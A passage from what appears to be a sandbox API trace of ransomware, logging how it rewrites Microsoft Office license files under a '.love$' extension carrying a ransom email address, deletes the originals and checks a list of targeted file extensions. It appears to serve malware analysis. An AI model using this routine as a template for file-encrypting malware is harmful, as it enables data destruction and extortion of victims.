dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0271.242] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11171) returned 1 [0271.242] CloseHandle (hObject=0x574) returned 1 [0271.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220 [0271.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.557] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.557] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0271.559] GetLastError () returned 0x0 [0271.559] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0271.587] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0271.589] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.589] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x110, lpOverlapped=0x0) returned 1 [0271.589] SetEndOfFile (hFile=0x484) returned 1 [0271.589] CloseHandle (hObject=0x484) returned 1 [0271.589] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.589] SetEndOfFile (hFile=0x388) returned 1 [0271.593] CloseHandle (hObject=0x388) returned 1 [0271.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 1 [0271.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.596] lstrlenW (lpString=".doc") returned 4 [0271.596] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.596] lstrlenW (lpString=".docx") returned 5 [0271.596] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.596] lstrlenW (lpString=".pdf") returned 4 [0271.596] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.596] lstrlenW (lpString=".xls") returned 4 [0271.597] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.597] lstrlenW (lpString=".xlsx") returned 5 [0271.597] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.597] lstrlenW (lpString=".ppt") returned 4 [0271.597] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.597] lstrlenW (lpString=".zip") returned 4 [0271.597] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.597] lstrlenW (lpString=".rar") returned 4 [0271.597] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.597] lstrlenW (lpString=".bz2") returned 4 [0271.597] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.597] lstrlenW (lpString=".7z") returned 3 [0271.597] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.597] lstrlenW (lpString=".dbf") returned 4 [0271.597] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.597] lstrlenW (lpString=".1cd") returned 4 [0271.597] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.597] lstrlenW (lpString=".jpg") returned 4 [0271.597] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.599] lstrlenW (lpString=".doc") returned 4 [0271.599] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.613] lstrlenW (lpString=".docx") returned 5 [0271.613] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.613] lstrlenW (lpString=".pdf") returned 4 [0271.613] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.613] lstrlenW (lpString=".xls") returned 4 [0271.613] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.613] lstrlenW (lpString=".xlsx") returned 5 [0271.613] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.613] lstrlenW (lpString=".ppt") returned 4 [0271.613] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.613] lstrlenW (lpString=".zip") returned 4 [0271.613] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.613] lstrlenW (lpString=".rar") returned 4 [0271.613] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.613] lstrlenW (lpString=".bz2") returned 4 [0271.613] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.614] lstrlenW (lpString=".7z") returned 3 [0271.614] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.614] lstrlenW (lpString=".dbf") returned 4 [0271.614] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.614] lstrlenW (lpString=".1cd") returned 4 [0271.614] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0271.614] lstrlenW (lpString=".jpg") returned 4 [0271.614] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.614] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0271.614] lstrlenW (lpString="MondoR_SubTest-ul-oob.xrm-ms") returned 28 [0271.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.616] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11591) returned 1 [0271.616] CloseHandle (hObject=0x388) returned 1 [0271.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220 [0271.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.617] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.617] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0271.619] GetLastError () returned 0x0 [0271.619] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d47, lpOverlapped=0x0) returned 1 [0271.683] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0271.685] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.685] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10c, lpOverlapped=0x0) returned 1 [0271.685] SetEndOfFile (hFile=0x484) returned 1 [0271.686] CloseHandle (hObject=0x484) returned 1 [0271.686] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.686] SetEndOfFile (hFile=0x388) returned 1 [0272.244] CloseHandle (hObject=0x388) returned 1 [0272.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 1 [0272.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.248] lstrlenW (lpString=".doc") returned 4 [0272.248] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.248] lstrlenW (lpString=".docx") returned 5 [0272.248] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.248] lstrlenW (lpString=".pdf") returned 4 [0272.248] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.248] lstrlenW (lpString=".xls") returned 4 [0272.248] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.248] lstrlenW (lpString=".xlsx") returned 5 [0272.249] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.249] lstrlenW (lpString=".ppt") returned 4 [0272.249] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.249] lstrlenW (lpString=".zip") returned 4 [0272.249] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.249] lstrlenW (lpString=".rar") returned 4 [0272.249] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.249] lstrlenW (lpString=".bz2") returned 4 [0272.249] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.249] lstrlenW (lpString=".7z") returned 3 [0272.249] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.249] lstrlenW (lpString=".dbf") returned 4 [0272.249] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.249] lstrlenW (lpString=".1cd") returned 4 [0272.249] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.249] lstrlenW (lpString=".jpg") returned 4 [0272.249] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.249] lstrlenW (lpString=".doc") returned 4 [0272.249] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.250] lstrlenW (lpString=".docx") returned 5 [0272.250] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.250] lstrlenW (lpString=".pdf") returned 4 [0272.250] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.250] lstrlenW (lpString=".xls") returned 4 [0272.250] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.250] lstrlenW (lpString=".xlsx") returned 5 [0272.250] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.250] lstrlenW (lpString=".ppt") returned 4 [0272.250] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.250] lstrlenW (lpString=".zip") returned 4 [0272.250] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.250] lstrlenW (lpString=".rar") returned 4 [0272.250] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.250] lstrlenW (lpString=".bz2") returned 4 [0272.250] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.250] lstrlenW (lpString=".7z") returned 3 [0272.250] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.250] lstrlenW (lpString=".dbf") returned 4 [0272.250] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.250] lstrlenW (lpString=".1cd") returned 4 [0272.250] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0272.250] lstrlenW (lpString=".jpg") returned 4 [0272.251] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.251] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.251] lstrlenW (lpString="MondoR_SubTest2-ppd.xrm-ms") returned 26 [0272.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.252] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=26525) returned 1 [0272.252] CloseHandle (hObject=0x388) returned 1 [0272.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220 [0272.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.253] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.254] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0272.256] GetLastError () returned 0x0 [0272.256] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x679d, lpOverlapped=0x0) returned 1 [0272.303] WriteFile (in: hFile=0x454, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0272.305] ReadFile (in: hFile=0x388, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.305] WriteFile (in: hFile=0x454, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x108, lpOverlapped=0x0) returned 1 [0272.305] SetEndOfFile (hFile=0x454) returned 1 [0272.306] CloseHandle (hObject=0x454) returned 1 [0272.306] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.306] SetEndOfFile (hFile=0x388) returned 1 [0272.310] CloseHandle (hObject=0x388) returned 1 [0272.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 1 [0272.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.313] lstrlenW (lpString=".doc") returned 4 [0272.313] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.313] lstrlenW (lpString=".docx") returned 5 [0272.313] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.313] lstrlenW (lpString=".pdf") returned 4 [0272.313] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.313] lstrlenW (lpString=".xls") returned 4 [0272.313] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.313] lstrlenW (lpString=".xlsx") returned 5 [0272.313] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.313] lstrlenW (lpString=".ppt") returned 4 [0272.313] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.313] lstrlenW (lpString=".zip") returned 4 [0272.314] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.314] lstrlenW (lpString=".rar") returned 4 [0272.314] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.314] lstrlenW (lpString=".bz2") returned 4 [0272.314] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.314] lstrlenW (lpString=".7z") returned 3 [0272.314] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.314] lstrlenW (lpString=".dbf") returned 4 [0272.314] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.314] lstrlenW (lpString=".1cd") returned 4 [0272.314] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.314] lstrlenW (lpString=".jpg") returned 4 [0272.314] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.314] lstrlenW (lpString=".doc") returned 4 [0272.314] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.314] lstrlenW (lpString=".docx") returned 5 [0272.314] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.314] lstrlenW (lpString=".pdf") returned 4 [0272.314] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.314] lstrlenW (lpString=".xls") returned 4 [0272.314] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.315] lstrlenW (lpString=".xlsx") returned 5 [0272.315] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.315] lstrlenW (lpString=".ppt") returned 4 [0272.315] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.315] lstrlenW (lpString=".zip") returned 4 [0272.315] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.315] lstrlenW (lpString=".rar") returned 4 [0272.315] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.315] lstrlenW (lpString=".bz2") returned 4 [0272.315] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.315] lstrlenW (lpString=".7z") returned 3 [0272.315] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.315] lstrlenW (lpString=".dbf") returned 4 [0272.315] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.315] lstrlenW (lpString=".1cd") returned 4 [0272.315] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0272.315] lstrlenW (lpString=".jpg") returned 4 [0272.315] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.315] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.316] lstrlenW (lpString="MondoR_SubTrial-ul-oob.xrm-ms") returned 29 [0272.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft 